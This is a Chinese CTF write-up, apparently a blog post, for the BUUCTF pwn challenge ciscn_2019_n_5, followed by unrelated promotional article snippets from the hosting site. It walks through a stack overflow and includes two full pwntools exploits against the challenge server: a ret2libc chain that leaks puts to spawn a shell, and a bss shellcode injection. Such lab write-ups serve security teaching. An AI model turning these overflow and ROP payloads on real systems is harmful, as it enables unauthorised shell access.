news 2026/2/28 20:24:54

buuctf中的ciscn_2019_n_5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的ciscn_2019_n_5

首先checksec检查保护状态:

-64位程序

-几乎没有保护,但是是NX保护未知,后续需要验证

接下来使用IDA反汇编工具进行分析:

没发现任何后门函数,那么只能是注入shellcode或泄露libc,这里发现第一个read可以输入数据到name变量中,然后再在下面的gets函数利用栈溢出漏洞跳转到name函数地址来执行shellcode

想要注入shellcode这里得来验证一下name内存地址的权限:

-拿到name在bss段的地址

在gdb中输入vmmap 0x601080:

发现这段内存地址只有读写功能,不可执行,shellcode注入不可用

那么只剩libc泄露可用了,这里需要用到rdi和ret的地址,在linux终端输入以下指令:

ROPgadget --binary pwn --only "pop|ret"

ret地址:0x00000000004004c9,rdi地址:0x0000000000400713,其中ret用于栈对齐,rdi用于构造ROP链调用函数

然后再在IDA中拿到main函数地址:0x400636

基本信息拿完后就可以开始写exp攻击脚本了:

由于这里shellcode注入不可用,使用第一个read读取内容到name那里的那一行代码已经没有用处了,随便输入一个字符都行,接下来就是进行两次栈溢出,第一次将puts的地址泄露出来,配合LibcSearcher找到libc库,算出libc基址,然后得到system和/bin/sh地址,第二次栈溢出在注入system函数就可以拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 main_addr = 0x400636 rdi_addr = 0x400713 ret_addr = 0x4004c9 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter(b'What do you want to say to me?\n',payload) puts_addr = u64(io.recvline().strip().ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.recvuntil(b'What do you want to say to me?\n') io.sendline(payload) io.interactive()

这是运行结果:

这里需要手动选择libc库,64位程序就选择64位的libc库,这里有可能会选到不适配的libc,多选几次就可用了,最后拿到shell后输入cat flag拿到flag

最后,如果变量name的那段内存地址有执行权限的话exp会简单得多,这是代码:

基本思路就是在name的内存地址中注入shellcode,然后再跳转到变量name那段内存地址中执行shellcode

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 aim_addr = 0x601080 shellcode = asm(shellcraft.sh()) io.recvuntil(b'tell me your name\n') io.sendline(shellcode) io.recvuntil(b'What do you want to say to me?\n') payload = b'a'*40 + p64(aim_addr) io.sendline(payload) io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/23 12:26:30

30分钟自制替代品:当开源模块不可用时

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个简易的attention机制实现,要求:1)兼容PyTorch接口 2)包含基础的自注意力功能 3)提供与原始sageattention类似的API 4)附带性能对比测试。输出应包含…

作者头像 李华
网站建设 2026/2/26 22:18:52

编程新手必看:Unitask入门完全指南

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个面向编程新手的Unitask学习助手,功能包括:1.互动式教程 2.学习任务拆分工具 3.进度追踪 4.成就系统 5.社区分享。使用简单的HTML/CSS/JavaScript实现…

作者头像 李华
网站建设 2026/2/26 13:44:04

快速原型:用AI一小时打造Ubuntu智能输入法

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 快速开发一个Ubuntu输入法原型,实现基本拼音输入功能。使用Python和简易GUI,重点展示AI预测功能。要求代码精简,可在1小时内完成开发和测试。点击…

作者头像 李华
网站建设 2026/2/19 16:42:18

利用Python自动化提交网站到各大搜索引擎

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 编写一个Python脚本,实现以下功能:1. 读取待提交的URL列表;2. 自动调用各搜索引擎的提交API;3. 记录提交结果并生成报告;…

作者头像 李华
网站建设 2026/2/19 4:59:18

AI如何帮你轻松搞定SQL中的GROUP BY HAVING

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个演示AI辅助SQL编写的应用。用户输入自然语言描述的数据分析需求,如找出销售额超过1万元的商品类别,系统自动生成包含GROUP BY和HAVING的正确SQL语句…

作者头像 李华
网站建设 2026/2/27 4:18:41

震惊!选对酶制剂,这3家必须知道!

震惊!选对酶制剂,这3家必须知道!在当今的生物制造、食品加工、饲料工业乃至环保清洁等多个领域,酶制剂作为高效的生物催化剂,其重要性日益凸显。面对市场上品牌林立、产品繁多的局面,如何精准选择技术领先、…

作者头像 李华